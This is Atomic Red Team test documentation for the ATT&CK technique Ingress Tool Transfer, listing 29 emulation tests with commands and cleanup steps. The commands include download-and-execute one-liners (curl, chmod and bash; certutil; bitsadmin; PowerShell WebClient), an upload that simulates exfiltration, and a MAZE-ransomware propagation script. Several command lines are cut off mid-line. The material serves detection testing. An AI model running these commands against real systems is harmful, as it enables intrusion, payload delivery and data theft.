T1105 - Ingress Tool Transfer

Description from ATT&CK

> Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)).
> Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016)
>
> On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as `IEX(New-Object Net.WebClient).downloadString()` and `Invoke-WebRequest`. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)

Atomic Tests

Atomic Test #1 - rsync remote file copy (push)

Utilize rsync to perform a remote file copy (push)

Supported Platforms: Linux, macOS

auto_generated_guid: 0fc6e977-cb12-44f6-b263-2824ba917409

Inputs:

Name	Description	Type	Default Value
remote_path	Remote path to receive rsync	path	/tmp/victim-files
remote_host	Remote host to copy toward	string	victim-host
local_path	Path of folder to copy	path	/tmp/adversary-rsync/
username	User account to authenticate on remote host	string	victim

Attack Commands: Run with `bash`!

```
rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}
```

Atomic Test #2 - rsync remote file copy (pull)

Utilize rsync to perform a remote file copy (pull)

Supported Platforms: Linux, macOS

auto_generated_guid: 3180f7d5-52c0-4493-9ea0-e3431a84773f

Inputs:

Name	Description	Type	Default Value
remote_path	Path of folder to copy	path	/tmp/adversary-rsync/
remote_host	Remote host to copy from	string	adversary-host
local_path	Local path to receive rsync	path	/tmp/victim-files
username	User account to authenticate on remote host	string	adversary

Attack Commands: Run with `bash`!

```
rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}
```

Atomic Test #3 - scp remote file copy (push)

Utilize scp to perform a remote file copy (push)

Supported Platforms: Linux, macOS

auto_generated_guid: 83a49600-222b-4866-80a0-37736ad29344

Inputs:

Name	Description	Type	Default Value
remote_path	Remote path to receive scp	path	/tmp/victim-files/

local_file	Path of file to copy	path	/tmp/adversary-scp
remote_host	Remote host to copy toward	string	victim-host
username	User account to authenticate on remote host	string	victim

Attack Commands: Run with `bash`!

```
scp #{local_file} #{username}@#{remote_host}:#{remote_path}
```

Atomic Test #4 - scp remote file copy (pull)

Utilize scp to perform a remote file copy (pull)

Supported Platforms: Linux, macOS

auto_generated_guid: b9d22b9a-9778-4426-abf0-568ea64e9c33

Inputs:

Name	Description	Type	Default Value
remote_host	Remote host to copy from	string	adversary-host
local_path	Local path to receive scp	path	/tmp/victim-files/
remote_file	Path of file to copy	path	/tmp/adversary-scp
username	User account to authenticate on remote host	string	adversary

Attack Commands: Run with `bash`!

```
scp #{username}@#{remote_host}:#{remote_file} #{local_path}
```

Atomic Test #5 - sftp remote file copy (push)

Utilize sftp to perform a remote file copy (push)

Supported Platforms: Linux, macOS

auto_generated_guid: f564c297-7978-4aa9-b37a-d90477feea4e

Inputs:

Name	Description	Type	Default Value
remote_path	Remote path to receive sftp	path	/tmp/victim-files/
local_file	Path of file to copy	path	/tmp/adversary-sftp
remote_host	Remote host to copy toward	string	victim-host
username	User account to authenticate on remote host	string	victim

Attack Commands: Run with `bash`!

```
sftp #{username}@#{remote_host}:#{remote_path} <<< $'put #{local_file}'
```

Atomic Test #6 - sftp remote file copy (pull)

Utilize sftp to perform a remote file copy (pull)

Supported Platforms: Linux, macOS

auto_generated_guid: 0139dba1-f391-405e-a4f5-f3989f2c88ef

Inputs:

Name	Description	Type	Default Value
remote_host	Remote host to copy from	string	adversary-host

local_path	Local path to receive sftp	path	/tmp/victim-files/
remote_file	Path of file to copy	path	/tmp/adversary-sftp
username	User account to authenticate on remote host	string	adversary

Attack Commands: Run with `bash`!

```
sftp #{username}@#{remote_host}:#{remote_file} #{local_path}
```

Atomic Test #7 - certutil download (urlcache)

Use certutil -urlcache argument to download a file from the web. Note - /urlcache also works!

Supported Platforms: Windows

auto_generated_guid: dd3b61dd-7bbc-48cd-ab51-49ad1a776df0

Inputs:

Name	Description	Type	Default Value
remote_file	URL of file to copy	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
local_path	Local path to place file	path	Atomic-license.txt

Attack Commands: Run with `command_prompt`!

```
cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}
```

Cleanup Commands:

```
del #{local_path} >nul 2>&1
```

Atomic Test #8 - certutil download (verifyctl)

Use certutil -verifyctl argument to download a file from the web. Note - /verifyctl also works!

Supported Platforms: Windows

auto_generated_guid: ffd492e3-0455-4518-9fb1-46527c9f241b

Inputs:

Name	Description	Type	Default Value
remote_file	URL of file to copy	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
local_path	Local path to place file	path	Atomic-license.txt

Attack Commands: Run with `powershell`!

```
$datePath = "certutil-$(Get-Date -format yyyy_MM_dd)"
New-Item -Path $datePath -ItemType Directory
Set-Location $datePath
certutil -verifyctl -split -f #{remote_file}
Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-It
```

Cleanup Commands:

```
Remove-Item "certutil-$(Get-Date -format yyyy_MM_dd)" -Force -Recurse -ErrorAction
```

Atomic Test #9 - Windows - BITSAdmin BITS Download

This test uses BITSAdmin.exe to schedule a BITS job for the download of a file. This technique is used by Qbot malware to download payloads.

Supported Platforms: Windows

auto_generated_guid: a1921cd3-9a2d-47d5-a891-f1d0f2a7a31b

Inputs:

Name	Description	Type	Default Value
bits_job_name	Name of the created BITS job	string	qcxjb7
local_path	Local path to place file	path	%temp%\Atomic-license.txt
remote_file	URL of file to copy	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt

Attack Commands: Run with `command_prompt`!

```
C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remo
```

Atomic Test #10 - Windows - PowerShell Download

This test uses PowerShell to download a payload. This technique is used by multiple adversaries and malware families.

Supported Platforms: Windows

auto_generated_guid: 42dc4460-9aa6-45d3-b1a6-3955d34e1fe8

Inputs:

Name	Description	Type	Default Value

remote_file	URL of file to copy	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
destination_path	Destination path to file	path	$env:TEMP\Atomic-license.txt

Attack Commands: Run with `powershell`!

```
(New-Object System.Net.WebClient).DownloadFile("#{remote_file}", "#{destination_pa
```

Cleanup Commands:

```
Remove-Item #{destination_path} -Force -ErrorAction Ignore
```

Atomic Test #11 - OSTAP Worming Activity

OSTap copies itself in a specfic way to shares and secondary drives. This emulates the activity.

Supported Platforms: Windows

auto_generated_guid: 2ca61766-b456-4fcf-a35a-1233685e1cad

Inputs:

Name	Description	Type	Default Value
destination_path	Path to create remote file at. Default is local admin share.	string	\\localhost\C$

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
pushd #{destination_path}
echo var fileObject = WScript.createobject("Scripting.FileSystemObject");var newfi
CScript.exe AtomicTestT1105.js //E:JScript
del AtomicTestT1105.js /Q >nul 2>&1
```

```
del AtomicTestFileT1105.js /Q >nul 2>&1
popd
```

Atomic Test #12 - svchost writing a file to a UNC path

svchost.exe writing a non-Microsoft Office file to a file with a UNC path. Upon successful execution, this will rename cmd.exe as svchost.exe and move it to `c:\`, then execute svchost.exe with output to a txt file.

Supported Platforms: Windows

auto_generated_guid: fa5a2759-41d7-4e13-a19c-e8f28a53566f

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
copy C:\Windows\System32\cmd.exe C:\svchost.exe
C:\svchost.exe /c echo T1105 > \\localhost\c$\T1105.txt
```

Cleanup Commands:

```
del C:\T1105.txt >nul 2>&1
del C:\\svchost.exe >nul 2>&1
```

Atomic Test #13 - Download a File with Windows Defender MpCmdRun.exe

Uses Windows Defender MpCmdRun.exe to download a file from the internet (must have version 4.18 installed). The input arguments "remote_file" and "local_path" can be used to specify the download URL and the name of the output file. By default, the test downloads the Atomic Red Team license file to the temp directory.

More info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/

Supported Platforms: Windows

auto_generated_guid: 815bef8b-bf91-4b67-be4c-abe4c2a94ccc

Inputs:

Name	Description	Type	Default Value
remote_file	URL of file to download	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
local_path	Location to save downloaded file	path	%temp%\Atomic-license.txt

Attack Commands: Run with `command_prompt`!

```
cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*"
MpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}
```

Cleanup Commands:

```
del #{local_path} >nul 2>&1
del %temp%\MpCmdRun.log >nul 2>&1
```

Dependencies: Run with `command_prompt`!

Description: Must have a Windows Defender version with MpCmdRun.exe installed

Check Prereq Commands:

```
cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*"
MpCmdRun.exe /?  >nul 2>&1
```

Get Prereq Commands:

```
Echo "A version of Windows Defender with MpCmdRun.exe must be installed manually"
```

Atomic Test #14 - whois file download

Download a remote file using the whois utility

Supported Platforms: Linux, macOS

auto_generated_guid: c99a829f-0bb8-4187-b2c6-d47d1df74cab

Inputs:

Name	Description	Type	Default Value
remote_host	Remote hostname or IP address	string	localhost
remote_port	Remote port to connect to	integer	8443
output_file	Path of file to save output to	path	/tmp/T1105.whois.out
query	Query to send to remote server	string	Hello from Atomic Red Team test T1105
timeout	Timeout period before ending process (seconds)	integer	1

Attack Commands: Run with `sh`!

```
timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} "#{
```

Cleanup Commands:

```
rm -f #{output_file}
```

Dependencies: Run with `sh`!

Description: The whois and timeout commands must be present

Check Prereq Commands:

```
which whois && which timeout
```

Get Prereq Commands:

```
echo "Please install timeout and the whois package"
```

Atomic Test #15 - File Download via PowerShell

Use PowerShell to download and write an arbitrary file from the internet. Example is from the 2021 Threat Detection Report by Red Canary.

Supported Platforms: Windows

auto_generated_guid: 54a4daf1-71df-4383-9ba7-f1a295d8b6d2

Inputs:

Name	Description	Type	Default Value
target_remote_file	File to download	url	https://raw.githubusercontent.com/redcanaryco/atomic-team/4042cb3433bce024e304500dcfe3c5590571573
output_file	File to write to	string	LICENSE.txt

Attack Commands: Run with `powershell`!

```
(New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{ou
```

Atomic Test #16 - File download with finger.exe on Windows

Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server. Because this is being tested on the localhost, you should not be expecting a successful connection https://www.exploit-db.com/exploits/48815 https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/

Supported Platforms: Windows

auto_generated_guid: 5f507e45-8411-4f99-84e7-e38530c45d01

Inputs:

Name	Description	Type	Default Value
remote_host	Remote hostname or IP address	string	localhost

Attack Commands: Run with `command_prompt`!

```
finger base64_filedata@#{remote_host}
```

Atomic Test #17 - Download a file with IMEWDBLD.exe

Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file. Downloaded files can be found in "%LocalAppData%\Microsoft\Windows\INetCache<8_RANDOM_ALNUM_CHARS>/[1]." or `%LocalAppData%\Microsoft\Windows\INetCache\IE<8_RANDOM_ALNUM_CHARS>/[1].. Run "Get-ChildItem -Path C:\Users<USERNAME>\AppData\Local\Microsoft\Windows\INetCache\ -Include * -Recurse -Force -File -ErrorAction SilentlyContinue" without quotes and adding the correct username and file name to locate the file.

Supported Platforms: Windows

auto_generated_guid: 1a02df58-09af-4064-a765-0babe1a0d1e2

Inputs:

Name	Description	Type	Default Value
remote_url	Location of file to be downloaded.	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/T1105.yaml
file_name	Name of the file to be downloaded without extension.	string	T1105

Attack Commands: Run with `powershell`!

```
$imewdbled = $env:SystemRoot + "\System32\IME\SHARED\IMEWDBLD.exe"
& $imewdbled #{remote_url}
```

Cleanup Commands:

```
$inetcache = $env:LOCALAPPDATA + "\Microsoft\Windows\INetCache\"
$file_to_be_removed = [string[]] (Get-ChildItem -Path $inetcache -Include #{file_n
if("" -ne "$file_to_be_removed") { Remove-Item "$file_to_be_removed" -ErrorAction
```

Atomic Test #18 - Curl Download File

The following Atomic utilizes native curl.exe, or downloads it if not installed, to download a remote DLL and output to a number of directories to simulate malicious behavior. Expected output will include whether the file downloaded successfully or not.

Supported Platforms: Windows

auto_generated_guid: 2b080b99-0deb-4d51-af0f-833d37c4ca6a

Inputs:

Name	Description	Type	Default Value
file_download	File to download	string	https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e
curl_path	path to curl.exe	path	C:\Windows\System32\Curl.exe

Attack Commands: Run with `command_prompt`!

```
#{curl_path} -k #{file_download} -o c:\users\public\music\allthethingsx64.dll
#{curl_path} -k #{file_download} --output c:\users\public\music\allthethingsx64.dll
#{curl_path} -k #{file_download} -o c:\programdata\allthethingsx64.dll
#{curl_path} -k #{file_download} -o %Temp%\allthethingsx64.dll
```

Cleanup Commands:

```
del c:\users\public\music\allthethingsx64.dll >nul 2>&1
del c:\users\public\music\allthethingsx64.dll >nul 2>&1
del c:\programdata\allthethingsx64.dll >nul 2>&1
del %Temp%\allthethingsx64.dll >nul 2>&1
```

Dependencies: Run with `powershell`!

Description: Curl must be installed on system.

Check Prereq Commands:

```
if (Test-Path #{curl_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip"
Expand-Archive -Path PathToAtomicsFolder\..\ExternalPayloads\curl.zip -Destination
Copy-Item PathToAtomicsFolder\..\ExternalPayloads\curl\curl-7.79.1-win64-mingw\bin
Remove-Item PathToAtomicsFolder\..\ExternalPayloads\curl
Remove-Item PathToAtomicsFolder\..\ExternalPayloads\curl.zip
```

Atomic Test #19 - Curl Upload File

The following Atomic utilizes native curl.exe, or downloads it if not installed, to upload a txt file to simulate data exfiltration Expected output will include whether the file uploaded successfully or not.

Supported Platforms: Windows

auto_generated_guid: 635c9a38-6cbf-47dc-8615-3810bc1167cf

Inputs:

Name	Description	Type	Default Value
curl_path	path to curl.exe	path	C:\Windows\System32\Curl.exe
remote_destination	Remote destination	string	www.example.com
file_path	File to upload	string	c:\temp\atomictestfile.txt

Attack Commands: Run with `command_prompt`!

```
#{curl_path} -T #{file_path} #{remote_destination}
#{curl_path} --upload-file #{file_path} #{remote_destination}
#{curl_path} -d #{file_path} #{remote_destination}
#{curl_path} --data #{file_path} #{remote_destination}
```

Dependencies: Run with `powershell`!

Description: Curl must be installed on system.

Check Prereq Commands:

```
if (Test-Path #{curl_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest “https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip”
Expand-Archive -Path PathToAtomicsFolder\..\ExternalPayloads\curl.zip -Destination
Copy-Item PathToAtomicsFolder\..\ExternalPayloads\curl\curl-7.79.1-win64-mingw\bin
Remove-Item PathToAtomicsFolder\..\ExternalPayloads\curl
Remove-Item PathToAtomicsFolder\..\ExternalPayloads\curl.zip
```

Description: A file must be created to upload

Check Prereq Commands:

```
if (Test-Path #{file_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
echo "This is an Atomic Test File" > #{file_path}
```

Atomic Test #20 - Download a file with Microsoft Connection Manager Auto-Download

Uses the cmdl32 to download arbitrary file from the internet. The cmdl32 package is allowed to install the profile used to launch the VPN connection. However, the config is modified to download the arbitary file. The issue of cmdl32.exe detecting and deleting the payload by identifying it as not a VPN Servers profile is avoided by setting a temporary TMP folder and denying the delete permission to all files for the user. Upon successful execution the test will open calculator and Notepad executable for 10 seconds. reference: https://twitter.com/ElliotKillick/status/1455897435063074824 LOLBAS-Project/LOLBAS#151 https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/ https://strontic.github.io/xcyclopedia/library/cmdl32.exe-FA1D5B8802FFF4A85B6F52A52C871BBB.html

Supported Platforms: Windows

auto_generated_guid: d239772b-88e2-4a2e-8473-897503401bcc

Inputs:

Name	Description	Type	Default Value
Path_to_file	Path to the Batch script	path	PathToAtomicsFolder\T1105\src\T1105.bat

Attack Commands: Run with `command_prompt`!

```
#{Path_to_file} 1>NUL
```

Cleanup Commands:

```
del /f/s/q %temp%\T1105 >nul 2>&1
rmdir /s/q %temp%\T1105 >nul 2>&1
```

Dependencies: Run with `powershell`!

Description: #{Path_to_file} must exist on system.

Check Prereq Commands:

```
if (Test-Path #{Path_to_file}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{Path_to_file}) -ErrorAction ignore | Out-Nu
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
```

Atomic Test #21 - MAZE Propagation Script

This test simulates MAZE ransomware's propogation script that searches through a list of computers, tests connectivity to them, and copies a binary file to the Windows\Temp directory of each one. Upon successful execution, a specified binary file will attempt to be copied to each online machine, a list of the online machines, as well as a list of offline machines will be output to a specified location. Reference: https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html

Supported Platforms: Windows

auto_generated_guid: 70f4d07c-5c3e-4d53-bb0a-cdf3ada14baf

Inputs:

Name	Description	Type	Default Value
binary_file	Binary file to copy to remote machines	string	$env:comspec
exe_remote_folder	Path to store executable on remote machine (no drive letter)	string	\Windows\Temp\T1105.exe
remote_drive_letter	Remote drive letter	string	C

Attack Commands: Run with `powershell`!

```
$machine_list = "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt"
$offline_list = "PathToAtomicsFolder\..\ExternalPayloads\T1105OfflineHosts.txt"
$completed_list = "PathToAtomicsFolder\..\ExternalPayloads\T1105CompletedHosts.txt
foreach ($machine in get-content -path "$machine_list")
{if (test-connection -Count 1 -computername $machine -quiet)
{cmd /c copy "#{binary_file}" "\\$machine\#{remote_drive_letter}$#{exe_remote_fold
echo $machine >> "$completed_list"
wmic /node: "$machine" process call create "regsvr32.exe /i #{remote_drive_letter}
else
{echo $machine >> "$offline_list"}}
```

Cleanup Commands:

```
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\T1105CompletedHosts.txt")
{foreach ($machine in get-content -path "PathToAtomicsFolder\..\ExternalPayloads\T
{wmic /node: "$machine" process where name='"regsvr32.exe"' call terminate | out-n
```

```
Remove-Item -path "\\$machine\#{remote_drive_letter}$#{exe_remote_folder}" -force
Remove-Item -path "PathToAtomicsFolder\..\ExternalPayloads\T1105OfflineHosts.txt"
Remove-item -path "PathToAtomicsFolder\..\ExternalPayloads\T1105CompletedHosts.txt"
```

Dependencies: Run with `powershell`!

Description: Binary file must exist at specified location (#{binary_file})

Check Prereq Commands:

```
if (Test-Path #{binary_file}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
write-host "The binary_file input parameter must be set to a binary that exists on
```

Description: Machine list must exist at specified location ("PathToAtomicsFolder..\ExternalPayloads\T1105MachineList.txt")

Check Prereq Commands:

```
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt") {exi
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction I
new-item -path "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt" | Ou
echo "A machine list file has been generated at "PathToAtomicsFolder\..\ExternalPa
```

Atomic Test #22 - Printer Migration Command-Line Tool UNC share folder into a zip file

Create a ZIP file from a folder in a remote drive

Supported Platforms: Windows

auto_generated_guid: 49845fc1-7961-4590-a0f0-3dbcf065ae7e

Inputs:

Name	Description	Type	Default Value
Path_unc	Path to the UNC folder	path	\\127.0.0.1\c$\AtomicRedTeam\atomics\T1105\src\
Path_PrintBrm	Path to PrintBrm.exe	path	C:\Windows\System32\spool\tools\PrintBrm.exe

Attack Commands: Run with `command_prompt`!

```
del %TEMP%\PrintBrm.zip >nul 2>&1
#{Path_PrintBrm} -b -d #{Path_unc}  -f %TEMP%\PrintBrm.zip -O FORCE
```

Cleanup Commands:

```
del %TEMP%\PrintBrm.zip >nul 2>&1
```

Atomic Test #23 - Lolbas replace.exe use to copy file

Copy file.cab to destination Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/

Supported Platforms: Windows

auto_generated_guid: 54782d65-12f0-47a5-b4c1-b70ee23de6df

Inputs:

Name	Description	Type	Default Value
replace_cab	Path to the cab file	path	PathToAtomicsFolder\T1105\src\redcanary.cab

Path_replace	Path to replace.exe	path	C:\Windows\System32\replace.exe

Attack Commands: Run with `command_prompt`!

```
del %TEMP%\redcanary.cab >nul 2>&1
#{Path_replace} #{replace_cab} %TEMP% /A
```

Cleanup Commands:

```
del %TEMP%\redcanary.cab >nul 2>&1
```

Dependencies: Run with `powershell`!

Description: #{replace_cab} must exist on system.

Check Prereq Commands:

```
if (Test-Path #{replace_cab}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{replace_cab}) -ErrorAction ignore | Out-Nul
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
```

Atomic Test #24 - Lolbas replace.exe use to copy UNC file

Copy UNC file to destination Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/

Supported Platforms: Windows

auto_generated_guid: ed0335ac-0354-400c-8148-f6151d20035a

Inputs:

Name	Description	Type	Default Value
replace_cab	UNC Path to the cab file	path	\\127.0.0.1\c$\AtomicRedTeam\atomics\T1105\src\redcanar
Path_replace	Path to replace.exe	path	C:\Windows\System32\replace.exe

Attack Commands: Run with `command_prompt`!

```
del %TEMP%\redcanary.cab >nul 2>&1
#{Path_replace} #{replace_cab} %TEMP% /A
```

Cleanup Commands:

```
del %TEMP%\redcanary.cab >nul 2>&1
```

Atomic Test #25 - certreq download

Use certreq to download a file from the web

Supported Platforms: Windows

auto_generated_guid: 6fdaae87-c05b-42f8-842e-991a74e8376b

Inputs:

Name	Description	Type	Default Value
local_path	Local path to place file	string	%temp%\Atomic-license.txt
remote_file	URL of file to copy	url	https://example.com

Attack Commands: Run with `command_prompt`!

```
certreq.exe -Post -config #{remote_file} c:\windows\win.ini #{local_path}
```

Cleanup Commands:

```
del #{local_path} >nul 2>&1
```

Atomic Test #26 - Download a file using wscript

Use wscript to run a local VisualBasic file to download a remote file

Supported Platforms: Windows

auto_generated_guid: 97116a3f-efac-4b26-8336-b9cb18c45188

Inputs:

Name	Description	Type	Default Value
vbscript_file	Full path to the VisualBasic downloading the file	string	PathToAtomicsFolder\T1105\src\T1105-download-file.vbs

Attack Commands: Run with `command_prompt`!

```
wscript.exe #{vbscript_file}
```

Cleanup Commands:

```
del Atomic-License.txt >nul 2>&1
```

Dependencies: Run with `powershell`!

Description: #{vbscript_file} must be exist on system.

Check Prereq Commands:

```
if (Test-Path #{vbscript_file}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{vbscript_file}) -ErrorAction ignore | Out-N
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
```

Atomic Test #27 - Linux Download File and Run

Utilize linux Curl to download a remote file, chmod +x it and run it.

Supported Platforms: Linux

auto_generated_guid: bdc373c5-e9cf-4563-8a7b-a9ba720a90f3

Inputs:

Name	Description	Type	Default Value
remote_url	url of remote payload	string	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/src/atomic.sh
payload_name	payload name	string	atomic.sh

Attack Commands: Run with `sh`!

```
curl -sO #{remote_url}; chmod +x #{payload_name} | bash #{payload_name}
```

Cleanup Commands:

```
rm #{payload_name}
```

Atomic Test #28 - Nimgrab - Transfer Files

Use nimgrab.exe to download a file from the web.

Supported Platforms: Windows

auto_generated_guid: b1729c57-9384-4d1c-9b99-9b220afb384e

Inputs:

Name	Description	Type	Default Value
remote_file	URL of file to copy	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
destination_path	Destination path to file	path	$env:TEMP\Atomic-license.txt

Attack Commands: Run with `command_prompt`!

```
cmd /c "PathToAtomicsFolder\..\ExternalPayloads\nimgrab.exe" #{remote_file} #{dest
```

Cleanup Commands:

```
del #{destination_path} >nul 2>&1
```

Dependencies: Run with `powershell`!

Description: NimGrab must be installed on system.

Check Prereq Commands:

```
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\nimgrab.exe") {exit 0} else
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ig
Invoke-WebRequest "https://nim-lang.org/download/nim-1.6.6_x64.zip" -Outfile PathTo
Expand-Archive -Path PathToAtomicsFolder\..\ExternalPayloads\nim.zip -DestinationPa
Copy-Item PathToAtomicsFolder\..\ExternalPayloads\nim\nim-1.6.6\bin\nimgrab.exe "Pa
```

Atomic Test #29 - iwr or Invoke Web-Request download

Use 'iwr' or "Invoke-WebRequest" -URI argument to download a file from the web. Note: without -URI also works in some versions.

Supported Platforms: Windows

auto_generated_guid: c01cad7f-7a4c-49df-985e-b190dcf6a279

Inputs:

Name	Description	Type	Default Value
remote_file	URL of file to copy	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
local_path	Local path to place file	path	%temp%\Atomic-license.txt

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
powershell.exe iwr -URI #{remote_file} -Outfile #{local_path}
```

Cleanup Commands:

```
del %temp%\Atomic-license.txt >nul 2>&1
```